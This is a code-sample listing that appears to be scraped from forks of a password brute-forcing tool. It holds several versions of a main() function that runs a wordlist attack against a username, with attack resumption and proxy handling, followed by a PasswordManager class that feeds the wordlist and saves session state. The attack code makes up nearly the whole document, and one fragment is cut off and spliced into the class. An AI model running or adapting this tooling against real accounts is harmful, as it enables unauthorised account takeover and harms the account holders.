Example #1
0
def main():

 username = "******"
 wordlist = "password_9.txt"
 threads = "999999" 

 # assign variables
 engine = Bruter(username.title(), int(threads), wordlist)
 session = Session(username.title(), wordlist)

 if session.exists():
  if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y':
   data = session.read()
   if data:
    engine.attempts = int(data['attempts'])
    engine.passlist.queue = eval(data['queue'])
    engine.retrieve = True

 # start attack
 try:
  engine.start()
 except KeyboardInterrupt:
  engine.user_abort = True 
 finally:
  if all([engine.spyder.proxy_info, not engine.isFound]):
   engine.display(engine.pwd)

  if all([not engine.read, engine.user_abort, not engine.isFound]):
   print('{}[!] Exiting ...'.format('' if not engine.spyder.proxy_info else '\n'))

  if all([engine.read, not engine.isFound]):
   print('\n[*] Password not found')

  sleep(1.5)
  engine.stop()
Example #2
0
def main():

 # assign arugments
 args = ArgumentParser()
 args.add_argument('username', help='email or username')
 args.add_argument('wordlist', help='password list')
 args.add_argument('threads', help='password per seconds. Any number <= 16')
 args = args.parse_args()

 if not exists(args.wordlist):
  exit('[!] Unable to locate `{}`'.format(args.wordlist))

 if not args.threads.isdigit():
  exit('[!] Threads must be a number')

 # assign variables
 engine = Bruter(args.username.title(), int(args.threads), args.wordlist)
 session = Session(args.username.title(), args.wordlist)

 if session.exists():
  if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y':
   data = session.read()
   if data:
    engine.attempts = int(data['attempts'])
    engine.passlist.queue = eval(data['queue'])
    engine.retrieve = True

 # start attack
 try:
  engine.start()
 finally:
  if not engine.isFound:
   engine.display(engine.pwd)
   print('\n[!] Exiting ...')
  engine.stop()
Example #3
0
def main():

    # assign arugments
    args = ArgumentParser()
    args.add_argument('Username', help='email or username')
    args.add_argument('wordlist', help='password list')
    args.add_argument('threads', help='password per seconds. Any number <= 16')
    args = args.parse_args()

    if not exists(args.wordlist):
        exit('[!] Unable to locate WordList `{}`'.format(args.wordlist))

    if not args.threads.isdigit():
        exit('[!] Threads must be a number')

    # assign variables
    engine = Bruter(args.username.title(), int(args.threads), args.wordlist)
    session = Session(args.username.title(), args.wordlist)

    if session.exists():
        if _input('Do you want to resume the attack? [y/n]: ').split(
        )[0][0] == 'y':
            data = session.read()
            if data:
                engine.attempts = int(data['attempts'])
                engine.passlist.queue = eval(data['queue'])
                engine.retrieve = True

    # start attack
    try:
        engine.start()
    except KeyboardInterrupt:
        engine.user_abort = True
    finally:
        if all([engine.spyder.proxy_info, not engine.isFound]):
            engine.display(engine.pwd)

        if all([not engine.read, engine.user_abort, not engine.isFound]):
            print('{}[!] Exiting ...'.format(
                '' if not engine.spyder.proxy_info else '\n'))

        if all([engine.read, not engine.isFound]):
            print('\n[*] Password not found')

        sleep(1.5)
        engine.stop()
Example #4
0
def main():

    # assign arugments
    args = ArgumentParser()
    args.add_argument('kullanýcý adý', help='email VEYA kullanýcý adý')
    args.add_argument('wordlist', help='þifre listesi')
    args.add_argument('denenenler',
                      help='saniye baþýna þifre. Herhangi bir numara <= 16')
    args = args.parse_args()

    if not exists(args.wordlist):
        exit('[!] Bulunamadý `{}`'.format(args.wordlist))
    if not args.threads.isdigit():
        exit('[!]Konular bir sayý olmalýdýr ')

    # assign variables
    engine = Bruter(args.username.title(), int(args.threads), args.wordlist)
    session = Session(args.username.title(), args.wordlist)

    if session.exists():
        if _input(
                'attack ý baþlatmak istermisin? [y/n]: ').split()[0][0] == 'y':
            data = session.read()
            if data:
                engine.attempts = int(data['attempts'])
                engine.passlist.queue = eval(data['queue'])
                engine.retrieve = True

    # start attack
    try:
        engine.start()
    except KeyboardInterrupt:
        engine.user_abort = True
    finally:
        if all([engine.spyder.proxy_info, not engine.isFound]):
            engine.display(engine.pwd)

        if all([not engine.read, engine.user_abort, not engine.isFound]):
            print('{}[!] çýkýlýyor ...'.format(
                '' if not engine.spyder.proxy_info else '\n'))

        if all([engine.read, not engine.isFound]):
            print('\n[*] þifre bulunamadý')

        sleep(1.5)
        engine.stop()
Example #5
0
def main():
    arugments = args()
    mode = arugments.mode
    username = arugments.username
    wordlist = arugments.wordlist
    modes = {0: 128, 1: 64, 2: 32, 3: 16}

    if not exists(wordlist):
        exit('[!] Invalid path to wordlist')

    session = Session(username.title(), wordlist)
    engine = Bruter(username.title(), modes[mode], wordlist)

    if session.exists:
        if _input('Do you want to resume the attack? [y/n]: ').split(
        )[0][0] == 'y':
            data = session.read()
            if data:
                engine.attempts = int(data['attempts'])
                engine.passlist.queue = eval(data['queue'])
                engine.retrieve = True

    # start attack
    try:
        engine.start()
    except KeyboardInterrupt:
        engine.user_abort = True
        engine.stop()
    finally:
        if all([engine.spyder.proxy_info, not engine.isFound]):
            engine.display(engine.pwd)

        if all([not engine.read, engine.user_abort, not engine.isFound]):
            print('{}[!] Exiting ...'.format(
                '' if not engine.spyder.proxy_info else '\n'))

        if all([engine.read, not engine.isFound]):
            print('\n[*] Password not found')

        try:
            sleep(1.5)
        except:
            pass

        engine.stop()
Example #6
0
  exit('[!] Threads must be a number')


 # assign variables

 engine = Bruter(args.username.title(), int(args.threads), args.wordlist)

 session = Session(args.username.title(), args.wordlist)


 if session.exists():

  if _input('Do you want to resume the attack? [y/n]: ').split()[0][0] == 'y':

   data = session.read()

   if data:

    engine.attempts = int(data['attempts'])

    engine.passlist.queue = eval(data['queue'])

    engine.retrieve = True


 # start attack

 try:

  engine.start()
class PasswordManager(object):

    def __init__(self, username, passlist_path, max_passwords, display):
        self.passlist = []
        self.session = None
        self.resume = False
        self.is_alive = True
        self.is_read = False
        self.display = display
        self.fingerprint = None
        self.username = username
        self.passwords_removed = 0
        self.passlist_path = passlist_path
        self.max_passwords = max_passwords
        Display.total_lines = self.count_lines()

    @property
    def list_size(self):
        return len(self.passlist)

    def list_add(self, password):
        if not password in self.passlist:
            self.passlist.append(password)

    def list_remove(self, password):
        if password in self.passlist:
            self.attempts += 1
            self.passlist.pop(self.passlist.index(password))
            self.session.write(self.attempts, self.passlist)

    def count_lines(self):
        lines = 0

        fingerprint = sha256(
            self.username.lower().strip().encode()
        ).hexdigest().encode()

        self.display.info('Reading wordlist ...')

        with open(self.passlist_path, 'rb') as f:

            for data in f:
                lines += 1
                chunk = sha256(data).hexdigest().encode()
                fingerprint = sha256(fingerprint + chunk).hexdigest().encode()

        self.fingerprint = fingerprint
        self.session = Session(self.fingerprint)

        return lines + 1

    def read(self):
        attempts = 0
        with open(self.passlist_path, 'rt', encoding='utf-8') as passlist:

            for password in passlist:
                if not self.is_alive:
                    break

                if self.resume:
                    self.attempts, self.passlist = self.session.read()

                    if attempts < (self.attempts + self.list_size):
                        attempts += 1
                        continue
                    else:
                        self.resume = False

                password = password.replace('\n', '').replace(
                    '\r', '').replace('\t', '')

                if self.list_size < self.max_passwords:
                    self.list_add(password)
                else:
                    while self.list_size >= self.max_passwords and self.is_alive:
                        sleep(0.5)

                    if self.is_alive:
                        self.list_add(password)
                        self.session.write(self.attempts, self.passlist)

        if self.is_alive:
            self.is_read = True

    @property
    def attempts(self):
        return self.passwords_removed

    @attempts.setter
    def attempts(self, n):
        self.passwords_removed = n

    def start(self):
        self.read()

    def stop(self):
        self.is_alive = False